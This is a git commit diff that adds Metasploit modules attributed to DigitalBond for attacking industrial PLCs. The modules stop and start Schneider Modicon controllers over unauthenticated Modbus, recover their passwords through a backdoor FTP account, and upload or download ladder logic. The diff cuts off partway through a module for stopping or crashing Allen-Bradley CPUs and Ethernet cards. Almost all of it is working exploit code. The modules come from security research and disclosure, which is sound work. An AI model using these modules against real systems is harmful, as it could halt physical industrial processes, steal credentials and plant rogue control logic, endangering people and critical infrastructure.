Adding DigitalBond SCADA modules
parent
2c992c976d
commit
14d9953634
Binary file not shown.
|
@ -0,0 +1,181 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Rex::Socket::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Schneider Modicon remote START/STOP command',
|
||||
'Description' => %q{
|
||||
The Schneider Modicon with Unity series of PLCs use Modbus function
|
||||
code 90 (0x5a) to perform administrative commands without authentication.
|
||||
This module allows a remote user to change the state of the PLC between
|
||||
STOP and RUN, allowing an attacker to end process control by the PLC.
|
||||
|
||||
This module is based on the original 'modiconstop.rb' Basecamp module from
|
||||
DigitalBond.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
|
||||
'todb' # Metasploit fixups
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'DisclosureDate' => 'Apr 5 2012',
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptEnum.new("MODE", [true, 'PLC command', "STOP",
|
||||
[
|
||||
"STOP",
|
||||
"RUN"
|
||||
]
|
||||
]),
|
||||
Opt::RPORT(502)
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
# this is used for building a Modbus frame
|
||||
# just prepends the payload with a modbus header
|
||||
def makeframe(packetdata)
|
||||
if packetdata.size > 255
|
||||
print_error("packet too large, sorry")
|
||||
print_error("Offending packet: " + packetdata)
|
||||
return
|
||||
end
|
||||
payload = ""
|
||||
payload += [@modbuscounter].pack("n")
|
||||
payload += "\x00\x00\x00" #dunno what these are
|
||||
payload += [packetdata.size].pack("c") # size byte
|
||||
payload += packetdata
|
||||
end
|
||||
|
||||
# a wrapper just to be sure we increment the counter
|
||||
def sendframe(payload)
|
||||
sock.put(payload)
|
||||
@modbuscounter += 1
|
||||
r = sock.recv(65535, 0.1) # XXX: All I care is that we wait for a packet to come in, but I'd like to minimize the wait time and also minimize OS buffer use. What to do?
|
||||
return r
|
||||
end
|
||||
|
||||
# This function sends some initialization requests
|
||||
# I have no idea what these do, but they seem to be
|
||||
# needed to get the Modicon chatty with us.
|
||||
# I would make some analogy to 'gaming' in the
|
||||
# bar-dating scene, but I'll refrain.
|
||||
def init
|
||||
payload = "\x00\x5a\x00\x02"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x01\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x03\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x03\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x01\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x0a\x00"
|
||||
(0..0xf9).each { |x| payload += [x].pack("c") }
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
|
||||
payload += "USER-714E74F21B" # Yep, really
|
||||
#payload += "META-SPLOITMETA"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x12"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x12"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x02"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
|
||||
sendframe(makeframe(payload))
|
||||
end
|
||||
|
||||
def stop
|
||||
payload = "\x00\x5a\x01\x41\xff\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
end
|
||||
|
||||
def start
|
||||
payload = "\x00\x5a\x01\x40\xff\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
end
|
||||
|
||||
def cleanup
|
||||
end
|
||||
|
||||
def run
|
||||
@modbuscounter = 0x0000 # used for modbus frames
|
||||
connect
|
||||
init
|
||||
case datastore['MODE']
|
||||
when "STOP"
|
||||
stop
|
||||
when "RUN"
|
||||
start
|
||||
else
|
||||
print_error("Invalid MODE")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,224 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'net/ftp' # TODO: Update this with a proper FTP server implementation
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::Ftp
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Schneider Modicon Quantum Password Recovery',
|
||||
'Description' => %q{
|
||||
The Schneider Modicon Quantum series of Ethernet cards store usernames and
|
||||
passwords for the system in files that may be retrieved via backdoor access.
|
||||
|
||||
This module is based on the original 'modiconpass.rb' Basecamp module from
|
||||
DigitalBond.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
|
||||
'todb' # Metasploit fixups
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'DisclosureDate'=> 'Jan 19 2012',
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(21),
|
||||
OptString.new('FTPUSER', [true, "The backdoor account to use for login", 'ftpuser']),
|
||||
OptString.new('FTPPASS', [true, "The backdoor password to use for login", 'password']),
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('RUN_CHECK', [false, "Check if the device is really a Modicon device", true])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
# FIXME: This is required since there's no Rex Socket yet (will be
|
||||
# part of a full FTP client implementation)
|
||||
def ip
|
||||
Rex::Socket.resolv_to_dotted(datastore['RHOST'])
|
||||
end
|
||||
|
||||
def check_banner
|
||||
banner == "220 FTP server ready.\r\n"
|
||||
end
|
||||
|
||||
# TODO: If the username and password is correct, but this /isn't/ a Modicon
|
||||
# device, then we're going to end up storing HTTP credentials that are not
|
||||
# correct. If there's a way to fingerprint the device, it should be done here.
|
||||
def check
|
||||
return true unless datastore['RUN_CHECK']
|
||||
is_modicon = false
|
||||
vprint_status "#{ip}:#{rport} - FTP - Checking fingerprint"
|
||||
connect rescue nil
|
||||
if sock
|
||||
# It's a weak fingerprint, but it's something
|
||||
is_modicon = check_banner()
|
||||
disconnect
|
||||
else
|
||||
print_error "#{ip}:#{rport} - FTP - Cannot connect, skipping"
|
||||
return false
|
||||
end
|
||||
if is_modicon
|
||||
print_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint"
|
||||
else
|
||||
print_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch"
|
||||
end
|
||||
return is_modicon
|
||||
end
|
||||
|
||||
def run
|
||||
if check()
|
||||
if setup_ftp_connection()
|
||||
grab()
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def setup_ftp_connection
|
||||
vprint_status "#{ip}:#{rport} - FTP - Connecting"
|
||||
if connect_login()
|
||||
print_status("#{ip}:#{rport} - FTP - Login succeeded")
|
||||
report_auth_info(
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:ptype => 'password_ro',
|
||||
:active => true
|
||||
)
|
||||
return true
|
||||
else
|
||||
print_status("#{ip}:#{rport} - FTP - Login failed")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup
|
||||
disconnect rescue nil
|
||||
data_disconnect rescue nil
|
||||
end
|
||||
|
||||
# Echo the Net::FTP implementation
|
||||
def ftp_gettextfile(fname)
|
||||
vprint_status("#{ip}:#{rport} - FTP - Opening PASV data socket to download #{fname.inspect}")
|
||||
data_connect("A")
|
||||
res = send_cmd_data(["GET", fname.to_s], nil, "A")
|
||||
end
|
||||
|
||||
def grab
|
||||
logins = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Schneider Modicon Quantum services, usernames, and passwords",
|
||||
'Indent' => 1,
|
||||
'Columns' => ["Service", "User Name", "Password"]
|
||||
)
|
||||
httpcreds = ftp_gettextfile('/FLASH0/userlist.dat')
|
||||
if httpcreds
|
||||
print_status "#{ip}:#{rport} - FTP - HTTP password retrieval: success"
|
||||
else
|
||||
print_status "#{ip}:#{rport} - FTP - HTTP default password presumed"
|
||||
end
|
||||
ftpcreds = ftp_gettextfile('/FLASH0/ftp/ftp.ini')
|
||||
if ftpcreds
|
||||
print_status "#{ip}:#{rport} - FTP - password retrieval: success"
|
||||
else
|
||||
print_error "#{ip}:#{rport} - FTP - password retrieval error"
|
||||
end
|
||||
writecreds = ftp_gettextfile('/FLASH0/rdt/password.rde')
|
||||
if writecreds
|
||||
print_status "#{ip}:#{rport} - FTP - Write password retrieval: success"
|
||||
else
|
||||
print_error "#{ip}:#{rport} - FTP - Write password error"
|
||||
end
|
||||
if httpcreds
|
||||
httpuser = httpcreds[1].split(/[\r\n]+/)[0]
|
||||
httppass = httpcreds[1].split(/[\r\n]+/)[1]
|
||||
else
|
||||
# Usual defaults
|
||||
httpuser = "USER"
|
||||
httppass = "USER"
|
||||
end
|
||||
print_status("#{rhost}:#{rport} - FTP - Storing HTTP credentials")
|
||||
logins << ["http", httpuser, httppass]
|
||||
report_auth_info(
|
||||
:host => ip,
|
||||
:port => 80,
|
||||
:sname => "http",
|
||||
:user => httpuser,
|
||||
:pass => httppass,
|
||||
:active => true
|
||||
)
|
||||
logins << ["scada-write", "", writecreds[1]]
|
||||
if writecreds # This is like an enable password, used after HTTP authentication.
|
||||
report_note(
|
||||
:host => ip,
|
||||
:port => 80,
|
||||
:proto => 'tcp',
|
||||
:sname => 'http',
|
||||
:ntype => 'scada.modicon.write-password',
|
||||
:data => writecreds[1]
|
||||
)
|
||||
end
|
||||
|
||||
if ftpcreds
|
||||
# TODO:
|
||||
# Can we add a nicer dictionary? Revershing the hash
|
||||
# using Metasploit's existing loginDefaultencrypt dictionary yields
|
||||
# plaintexts that contain non-ascii characters for some hashes.
|
||||
# check out entries starting at 10001 in /msf3/data/wordlists/vxworks_collide_20.txt
|
||||
# for examples. A complete ascii rainbow table for loginDefaultEncrypt is ~2.6mb,
|
||||
# and it can be done in just a few lines of ruby.
|
||||
# See https://github.com/cvonkleist/vxworks_hash
|
||||
modicon_ftpuser = ftpcreds[1].split(/[\r\n]+/)[0]
|
||||
modicon_ftppass = ftpcreds[1].split(/[\r\n]+/)[1]
|
||||
else
|
||||
modicon_ftpuser = "USER"
|
||||
modicon_ftppass = "USERUSER" #from the manual. Verified.
|
||||
end
|
||||
print_status("#{rhost}:#{rport} - FTP - Storing hashed FTP credentials")
|
||||
# The collected hash is not directly reusable, so it shouldn't be an
|
||||
# auth credential in the Cred sense. TheLightCosine should fix some day.
|
||||
# Can be used for telnet as well if telnet is enabled.
|
||||
report_note(
|
||||
:host => ip,
|
||||
:port => 21,
|
||||
:proto => 'tcp',
|
||||
:sname => 'ftp',
|
||||
:ntype => 'scada.modicon.ftp-password',
|
||||
:data => "User:#{modicon_ftpuser} VXWorks_Password:#{modicon_ftppass}"
|
||||
)
|
||||
logins << ["VxWorks", modicon_ftpuser, modicon_ftppass]
|
||||
|
||||
# Not this:
|
||||
# report_auth_info(
|
||||
# :host => ip,
|
||||
# :port => rport,
|
||||
# :proto => 'tcp',
|
||||
# :sname => 'ftp',
|
||||
# :user => modicon_ftpuser,
|
||||
# :pass => modicon_ftppass,
|
||||
# :type => 'password_vx', # It's a hash, not directly usable, but crackable
|
||||
# :active => true
|
||||
# )
|
||||
print_line logins.to_s
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,307 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Rex::Socket::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Schneider Modicon Ladder Logic Upload/Download',
|
||||
'Description' => %q{
|
||||
The Schneider Modicon with Unity series of PLCs use Modbus function
|
||||
code 90 (0x5a) to send and receive ladder logic. The protocol is
|
||||
unauthenticated, and allows a rogue host to retrieve the existing
|
||||
logic and to upload new logic.
|
||||
|
||||
Two modes are supported: "SEND" and "RECV," which behave as one might
|
||||
expect -- use 'set mode ACTIONAME' to use either mode of operation.
|
||||
|
||||
In either mode, FILENAME must be set to a valid path to an existing
|
||||
file (for SENDing) or a new file (for RECVing), and the directory must
|
||||
already exist. The default, 'modicon_ladder.apx' is a blank
|
||||
ladder logic file which can be used for testing.
|
||||
|
||||
This module is based on the original 'modiconstux.rb' Basecamp module from
|
||||
DigitalBond.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
|
||||
'todb' # Metasploit fixups
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'DisclosureDate' => 'Apr 5 2012',
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME',
|
||||
[
|
||||
true,
|
||||
"The file to send or receive",
|
||||
File.join(Msf::Config.data_directory, "exploits", "modicon_ladder.apx")
|
||||
]),
|
||||
OptEnum.new("MODE", [true, 'File transfer operation', "SEND",
|
||||
[
|
||||
"SEND",
|
||||
"RECV"
|
||||
]
|
||||
]),
|
||||
Opt::RPORT(502)
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
unless valid_filename?
|
||||
print_error "FILENAME invalid: #{datastore['FILENAME'].inspect}"
|
||||
return nil
|
||||
end
|
||||
@modbuscounter = 0x0000 # used for modbus frames
|
||||
connect
|
||||
init
|
||||
case datastore['MODE']
|
||||
when "SEND"
|
||||
writefile
|
||||
when "RECV"
|
||||
readfile
|
||||
end
|
||||
end
|
||||
|
||||
def valid_filename?
|
||||
if datastore['MODE'] == "SEND"
|
||||
File.readable? datastore['FILENAME']
|
||||
else
|
||||
File.writable?(File.split(datastore['FILENAME'])[0].to_s)
|
||||
end
|
||||
end
|
||||
|
||||
# this is used for building a Modbus frame
|
||||
# just prepends the payload with a modbus header
|
||||
def makeframe(packetdata)
|
||||
if packetdata.size > 255
|
||||
print_error("#{rhost}:#{rport} - MODBUS - Packet too large: #{packetdata.inspect}")
|
||||
return
|
||||
end
|
||||
payload = ""
|
||||
payload += [@modbuscounter].pack("n")
|
||||
payload += "\x00\x00\x00" #dunno what these are
|
||||
payload += [packetdata.size].pack("c") # size byte
|
||||
payload += packetdata
|
||||
end
|
||||
|
||||
# a wrapper just to be sure we increment the counter
|
||||
def sendframe(payload)
|
||||
sock.put(payload)
|
||||
@modbuscounter += 1
|
||||
# TODO: Fix with sock.timed_read -- Should make it faster, just need a test.
|
||||
r = sock.recv(65535, 0.1)
|
||||
return r
|
||||
end
|
||||
|
||||
# This function sends some initialization requests
|
||||
# required for priming the Quantum
|
||||
def init
|
||||
payload = "\x00\x5a\x00\x02"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x01\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x03\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x03\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x01\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x0a\x00"
|
||||
(0..0xf9).each { |x| payload += [x].pack("c") }
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
|
||||
payload += "USER-714E74F21B" # Yep, really
|
||||
#payload += "META-SPLOITMETA"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x12"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x12"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x02"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
|
||||
sendframe(makeframe(payload))
|
||||
end
|
||||
|
||||
# Write the contents of local file filename to the target's filenumber
|
||||
# blank logic files will be available on the Digital Bond website
|
||||
def writefile
|
||||
print_status "#{rhost}:#{rport} - MODBUS - Sending write request"
|
||||
blocksize = 244 # bytes per block in file transfer
|
||||
buf = File.open(datastore['FILENAME'], 'rb') { |io| io.read }
|
||||
fullblocks = buf.length / blocksize
|
||||
if fullblocks > 255
|
||||
print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.")
|
||||
return
|
||||
end
|
||||
lastblocksize = buf.length - (blocksize*fullblocks)
|
||||
fileblocks = fullblocks
|
||||
if lastblocksize != 0
|
||||
fileblocks += 1
|
||||
end
|
||||
filetype = buf[0..2]
|
||||
if filetype == "APX"
|
||||
filenum = "\x01"
|
||||
elsif filetype == "APB"
|
||||
filenum = "\x10"
|
||||
end
|
||||
payload = "\x00\x5a\x00\x03\x01"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x02"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x02"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x58\x02\x01\x00\x00\x00\x00\x00\xfb\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x02"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x30\x00"
|
||||
payload += filenum
|
||||
response = sendframe(makeframe(payload))
|
||||
if response[8..9] == "\x01\xfe"
|
||||
print_status("#{rhost}:#{rport} - MODBUS - Write request success! Writing file...")
|
||||
else
|
||||
print_error("#{rhost}:#{rport} - MODBUS - Write request error. Aborting.")
|
||||
return
|
||||
end
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
block = 1
|
||||
block2status = 0 # block 2 must always be sent twice
|
||||
while block <= fullblocks
|
||||
payload = "\x00\x5a\x01\x31\x00"
|
||||
payload += filenum
|
||||
payload += [block].pack("c")
|
||||
payload += "\x00\xf4\x00"
|
||||
payload += buf[((block - 1) * 244)..((block * 244) - 1)]
|
||||
res = sendframe(makeframe(payload))
|
||||
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
|
||||
if res[8..9] != "\x01\xfe"
|
||||
print_error("#{rhost}:#{rport} - MODBUS - Failure writing block #{block}")
|
||||
return
|
||||
end
|
||||
# redo this iteration of the loop if we're on block 2
|
||||
if block2status == 0 and block == 2
|
||||
print_status("#{rhost}:#{rport} - MODBUS - Sending block 2 a second time")
|
||||
block2status = 1
|
||||
redo
|
||||
end
|
||||
block += 1
|
||||
end
|
||||
if lastblocksize > 0
|
||||
payload = "\x00\x5a\x01\x31\x00"
|
||||
payload += filenum
|
||||
payload += [block].pack("c")
|
||||
payload += "\x00" + [lastblocksize].pack("c") + "\x00"
|
||||
payload += buf[((block-1) * 244)..(((block-1) * 244) + lastblocksize)]
|
||||
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
|
||||
res = sendframe(makeframe(payload))
|
||||
if res[8..9] != "\x01\xfe"
|
||||
print_error("#{rhost}:#{rport} - MODBUS - Failure writing last block")
|
||||
return
|
||||
end
|
||||
end
|
||||
vprint_status "#{rhost}:#{rport} - MODBUS - Closing file"
|
||||
payload = "\x00\x5a\x01\x32\x00\x01" + [fileblocks].pack("c") + "\x00"
|
||||
sendframe(makeframe(payload))
|
||||
end
|
||||
|
||||
# Only reading the STL file is supported at the moment :(
|
||||
def readfile
|
||||
print_status "#{rhost}:#{rport} - MODBUS - Sending read request"
|
||||
file = File.open(datastore['FILENAME'], 'wb')
|
||||
payload = "\x00\x5a\x01\x33\x00\x01\xfb\x00"
|
||||
response = sendframe(makeframe(payload))
|
||||
print_status("#{rhost}:#{rport} - MODBUS - Retrieving file")
|
||||
block = 1
|
||||
filedata = ""
|
||||
finished = false
|
||||
while !finished
|
||||
payload = "\x00\x5a\x01\x34\x00\x01"
|
||||
payload += [block].pack("c")
|
||||
payload += "\x00"
|
||||
response = sendframe(makeframe(payload))
|
||||
filedata += response[0xe..-1]
|
||||
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{response[0xe..-1].inspect}"
|
||||
if response[0xa] == "\x01" # apparently 0x00 == more data, 0x01 == eof?
|
||||
finished = true
|
||||
else
|
||||
block += 1
|
||||
end
|
||||
end
|
||||
print_status("#{rhost}:#{rport} - MODBUS - Closing file")
|
||||
payload = "\x00\x5a\x01\x35\x00\x01" + [block].pack("c") + "\x00"
|
||||
sendframe(makeframe(payload))
|
||||
file.print filedata
|
||||
file.close
|
||||
end
|
||||
|
||||
def cleanup
|
||||
disconnect rescue nil
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,145 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Rex::Socket::Tcp
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Allen-Bradley/Rockwell Automation EtherNet/IP CIP Commands',
|
||||
'Description' => %q{
|
||||
The EtnerNet/IP CIP protocol allows a number of unauthenticated commands to a PLC which
|
||||
implements the protocol. This module implements the CPU STOP command, as well as
|
||||
the ability to crash the Ethernet card in an affected device.
|
||||
|
||||
This module is based on the original 'ethernetip-multi.rb' Basecamp module
|
||||
from DigitalBond.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Ruben Santamarta <ruben[at]reversemode.com>',
|
||||
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
|
||||
'todb' # Metasploit fixups
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'DisclosureDate' => 'Jan 19 2012'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(44818),
|
||||
# Note that OptEnum is case sensitive
|
||||
OptEnum.new("ATTACK", [true, "The attack to use.", "STOPCPU",
|
||||
[
|
||||
"STOPCPU",
|
||||
"CRASHCPU",
|
||||
"CRASHETHER",
|
||||
"RESETETHER"
|
||||
]
|
||||
])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
attack = datastore["ATTACK"]
|
||||
